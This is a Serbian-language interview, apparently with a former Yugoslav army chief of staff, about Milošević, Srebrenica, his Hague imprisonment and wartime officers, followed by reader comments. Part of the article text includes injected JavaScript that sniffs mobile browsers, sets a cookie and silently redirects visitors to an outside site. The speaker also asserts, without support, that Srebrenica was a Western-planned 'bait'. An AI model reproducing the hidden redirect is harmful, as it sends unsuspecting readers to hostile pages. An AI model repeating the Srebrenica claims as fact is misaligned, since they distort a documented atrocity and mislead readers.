– Rekao mi je to jednom prilikom. “Momo, jesi ti ono spominjao Partnerstvo za mir? Slušaj, nećemo tako, mi ćemo direktno u NATO.” Odgovorio sam mu da u teoriji igara postoji izraz “panterov skok”, ali da nam za njega fali panter. Nije me razumeo. “Šta to pričaš, objasni!” Mi nemamo jaku, stabilnu državu, savremeno opremljenu vojsku. Ovakvi kakvi smo, bićemo samo sredstvo za potkusurivanje i nikad nećemo ući u NATO, rekao sam. Dosuo je viski i spustio pogled. U njegovoj čaši uvek je bilo više leda i vode nego viskija, a sad je viskija bilo malo više. Mislim da ta njegova ponuda Amerikancima nije bila ozbiljna već sračunata da kupi vreme, da ostane što duže na vlasti. Milošević je u startu bio miljenik Zapada jer je svojim postupcima doprineo odlasku Slovenije, Hrvatske, da bi posle za njih postao balkanski kasapin. Mada, mislim da nije bio ničiji igrač ni plaćenik, već da je radio po svojoj savesti, i dobro i loše. Dozvolio je, posle tragičnih iskustava Karadžića i Mladića u RS, te Martića i Čeleketića u Krajini, koji su kao somovi nasedali na trikove Zapada, Markale, Srebrenicu, da nam se to ponovi i na Kosovu…

Kad kažete “Zapad izveo trik u Srebrenici”, na šta mislite?

– Srebrenica je bila mamac od samog početka, koji su zapadne sile poturile da bi odobrile ofanzivu Hrvata i muslimana u Bosni, koja je izvedena uz njihovu logističku podršku. Imali smo informacije da je od Alije Izetbegovića traženo da nađe neku neuralgičnu tačku gde bi stradalo nekoliko hiljada ljudi, nakon čega bi usledila intervencija. Srebrenica je bila idealna jer je bio veliki revolt Srba posle zločina Nasera Orića i njegovih ljudi u okolini Srebrenice. Udica je bačena, ovi su zagrizli, i to je ispalo kako je ispalo. O tome koliko je sve bilo koordinisano spolja govori činjenica da su Hrvati došli do Banjaluke, ali jedan telefonski poziv Tuđmanu iz Amerike zaustavio je akciju nakon što je Milošević zvao i molio Solanu i Holbruka. Znam to zato što sam sedeo pored njega. Rekao sam mu tada: “Šefe, nemoj da tako zagrizemo i na Kosovu. Ako treba, ići ćemo u rat, ali onda u rat mora i tvoj Marko, i moja dva sina, i nas dvojica, jer će to biti rat do istrebljenja. A malo nas ima, i nemamo šanse osim da to traje decenijama.”

Jeste li bili u kontaktu sa Mladićem kada se dešavala Srebrenica?

– Ne tada, ali neposredno posle toga išao sam u Srebrenicu da bih pomogao u deblokadi jednog ukrajinskog bataljona. U to vreme tamo su bila dvojica kanadskih Srba koji su Karadžiću donosili neku humanitarnu pomoć, pa me je Mladić nagovorio da se slikamo sa njima. Kasnije je Hag angažovao tu dvojicu da svedoče kako sam ja bio u Srebrenici u vreme kada su se dešavali zločini, pa sam morao da dokazujem da nisam imao veze sa tim. Prvi put sam o zločinu u Srebrenici čuo od Miloševića. Pozvao me je i pitao: “Momo, da li je moguće da je David ono uradio?” Milošević je Mladića zvao David zato što je govorio kao junak Kočićeve novele “Jablan”.

Valjda će se naći neki pravi istoričar da sve nas koji smo bili akteri tih događaja smesti u realan istorijski kontekst. Našu istoriju su kroz vekove pisali konjovoci, valjda je došlo vreme da se to promeni…

Kako danas, kada se osvrnete, gledate na svoju oficirsku i političku karijeru, kontroverze koje su Vas pratile, put od heroja do izdajnika?

– Ja sam u stvari sve vreme bio samo oficir koji je vršio svoju dužnost, ali menjali su se politika, ideologija, interesi, pa sam kroz te razne promene ja čas bio ovo, čas ono. U nekim drugim interesovanjima ispadao sam iz tog oficirskog klišea, zbog čega sam i stradao. Ali valjda će se naći neki pravi istoričar da sve nas koji smo bili akteri tih događaja smesti u realan istorijski kontekst. Našu istoriju su kroz vekove pisali konjovoci, valjda je došlo vreme da se to promeni…

SPORTOM I POEZIJOM PROTIV DEPRESIJE

Kako ste psihički podneli hašku ćeliju?

– Čovek tamo mora da nađe način da aktivira svoj odbrambeni mehanizam. Ako to nije u stanju, parališe se i pada u depresiju, i onda je gotov. Ja sam našao načina da pomognem i sebi i nekim drugima, tamo sam pisao poeziju, mahom šaljivu, isticao je na oglasnu tablu, bavio sam se sportom, pomagao nekima koji su loše baratali kompjuterom da pripreme odbranu i dokazni materijal. Nisam dozvoljavao da budem pasivan, i to me je spaslo. A onda je jedan vaš kolega novinar napisao nešto u stilu: “Dok se narod pati, oni čitaju i pišu poeziju u Hagu…” Inače, sa takvim životom sam nastavio i po izlasku iz Tribunala, bavim se paraglajdingom, igram stoni tenis, skijam, plivam…

SVI MOJI OFICIRI

– Zanimljivo je da su skoro svi ratni komandanti hrvatske, muslimanske i albanske vojske bili moji potčinjeni oficiri. Komandant hrvatske vojske u Bosni Milivoj Petković, Atif Dudaković, komandant zloglasnog Peti korpusa Armije BiH, te Agim Čeku, komandant OVK, bili su moji potčinjeni u Zadru, a komandant Armije BiH Rasim Delić u Sarajevu. Za razliku od ostalih kasarni i jedinica u Zadru, iz kojih su Hrvati i muslimani bežali, kod mene su dugo svi bili na okupu. To mogu da zahvalim i Martinu Špegelju, koji je bio komandant AŠC-a u Zadru pre mene, imao je tu jake veze i ubeđivao hrvatske oficire da ostanu, da bi u jednom trenutku na njegov signal iznutra preuzeli kasarne. Ja sam, s druge strane, da bih sprečio rasulo, nastupao sa pozicija JNA doktrine, svake nedelje držao govor oficirima i ponavljao da ću ja biti glavna brana velikosrpskom nacionalizmu. Kad se situacija zaoštrila, formirao sam borbene grupe i na čelo tih grupa postavio najekstremnije Hrvate. I onda sam ih slao da izvode borbenu obuku blizu kasarni, da ih svi u Zadru vide. Onda su sami počeli da traže razrešenje, što je i bio moj cilj, da bih sprečio pobunu iznutra koju su mi spremali. Agim Čeku bio je lenština, ali nije bio glup. Da bih ga eliminisao, poslao sam ga u školu stranih jezika u Beograd. Atifa Dudakovića sam 1991. poslao takođe u Beograd, u generalštabnu školu. I kada je škola posle prvih ratnih dejstava rasformirana, njega su uputili u Kninski korpus kod Mladića, gde je komandovao da artiljerija gađa Srbe umesto Hrvate. Kada je to otkriveno, on je pobegao i formirao Peti korpus Armije BiH.

PESMA ZA ŠEŠELJA

– Bio je neki letnji mesec u Hagu, nesnosna vrućina, a Šešelj se skinuo samo u donji veš i krenuo u šetnju po krugu. Bila je to smešna scena, i ja je ovekovečim, nacrtam ga na kompjuteru, odštampam i odnesem čuvarima da mu predaju karikaturu. Posle nekoliko minuta, kada je primio papir sa “svojom slikom” iz dvorišta je gromoglasno, da svi čuju, povikao: “Sokole (tako me zvao), dobićeš najmanje 20 godina robije, a zbog ove karikature još minimalno sedam.” Tako je i bilo, uskoro su mi izrekli 27 godina robije. Šešelj, koji je inače stručno analizirao sve naše presude, rekao mi je tada: “Ako ima imalo pravde, tvoja presuda je najtanja i ona mora da padne.” Tada sam u Hagu napisao, a po izlasku objavio knjigu poezije sa naslovom “Pesme iz Haga”, a među pesmama se nalazi i ona posvećena Šešelju.
… U našem haškom elitnom društvu
popularan preterano nije,
premda neka čudesna harizma
u tom ogromnom čoveku se krije.

BOMBA ZA GENERALA TRIFUNOVIĆA

Posle izvlačenja iz Zadra izjavili ste kako nosite bombu u torbi, da je bacite na generala Trifunovića kada ga sretnete.

– General Trifunović i ja smo bili u donekle sličnom položaju, naše kasarne bile su opkoljene, s tim što su njegove okolnosti bile mnogo povoljnije jer je imao na raspolaganju najmodernije opremljen oklopni korpus u Varaždinu, tenkovsku brigadu, višecevne bacače raketa, borbene jedinice, za razliku od mene, koji sam sa malo ljudi ostao 80 kilometara duboko u neprijateljskoj teritoriji, okružen kudikamo agresivnijim i brojnijim neprijateljem. Zadar je bio mnogo ekstremniji nego Varaždin. Ja sam uz pomoć mojih saradnika izvukao svu tehniku bez ljudskih žrtava, a on je predao svu tehniku, dobio čak i sliku na poklon od Hrvata. Po njihovom priznanju, on je tada za jedan dan sedam puta povećao borbenu gotovost hrvatske vojske, a deo tih njegovih projektila padao je na glavu meni i mojim vojnicima, tim oružjem kasnije je ubijeno mnogo Srba, i to treba otvoreno reći. Kasnije, mene je predsednik Vojnog suda zvao da budem veštak u procesu protiv Trifunovića. Pošto to nisam želeo jer sam u to vreme imao prečih briga na Kosovu, da bih ih odvratio od toga, rekao sam da sam veoma pristrasan i da sam po izlasku iz Zadra sedam dana nosio bombu u torbi da mu bacim među noge kada ga vidim. Naravno da nisam nosio bombu u torbi, ali to je bilo dovoljno da me izuzmu sa tog suđenja. Kasnije, kada sam postao načelnik Generalštaba VJ i bio na sastanku sa pravosudnim organima VJ, neko me je pitao da li je istina ono sa bombom, ponovio sam priču, što je kasnije zloupotrebljavano na raznorazne načine.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

3 komentara

Dodajte komentar
  1. 1
    radomir

    Ti si izgubio poverenje u narodu,sadio si tikve sa djavolima,nisi mogao drugacije ni da prodjes,castan i posten covek,zna da uoci momenat kada je vreme da se izadje iz prljave igre,poenta je u tome,sto je svima nama pa i tebi,zinulo dupe za pare,prestiz moc.Nisi imao osecaj svoje velicine,pogresna procena i prcepcija stvarnosti,i sta,tu si gde si.nigde.Sve ostalo je bla bla bla.

  2. 2
    jovo

    Radomire, nisi uopšte u pravu i primitivno se izražavaš, što je odlika neznanja, a ono radja sujetu, sujeta seje mržnju…..

  3. 3
    TODOR ČAČAKAK

    Radomire nepričaj gluposti. Nema siromašnijeg načelnika G Š OD GOSPODINA PERIŠIĆA. Pitaj nekog ko ga poznaje šta poseduje od imovine.

+ Ostavite komentar